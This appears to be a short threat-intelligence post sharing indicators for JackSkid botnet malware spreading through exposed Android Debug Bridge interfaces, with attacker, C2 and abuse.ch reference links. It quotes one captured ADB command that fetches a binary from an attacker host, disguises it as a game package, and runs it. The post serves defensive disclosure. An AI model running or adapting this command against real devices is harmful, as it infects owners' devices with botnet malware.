JackSkid malware spreading from 46.151.178.13 (SINOWORLDWIDE 🇳🇱) on exposed devices running Android Debug Bridge (ADB) ⤵️ ADB command: ⚙️ shell:busybox wget http://94.154.43 .48/rebirth.arm7 -O /data/local/tmp/com.supercell.clashroyal; chmod 777 /data/local/tmp/com.supercell.clashroyal; ./data/local/tmp/com.supercell.clashroyal adb; Delivering #JackSkid using DNS TXT record of ricocaseagainst.rebirth .st as botnet C2: 📡 178.16.52.104 (OMEGATECH 🇩🇪) Payload delivery URLs (STORMCLOUD 🇹🇷): 🌐 https://urlhaus.abuse.ch/host/94.154.43.48/ Malware sample 📄: https://bazaar.abuse.ch/sample/849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d537839b5/ Botnet C2: 📡 https://threatfox.abuse.ch/ioc/1772413/ 📡 https://threatfox.abuse.ch/ioc/1838514/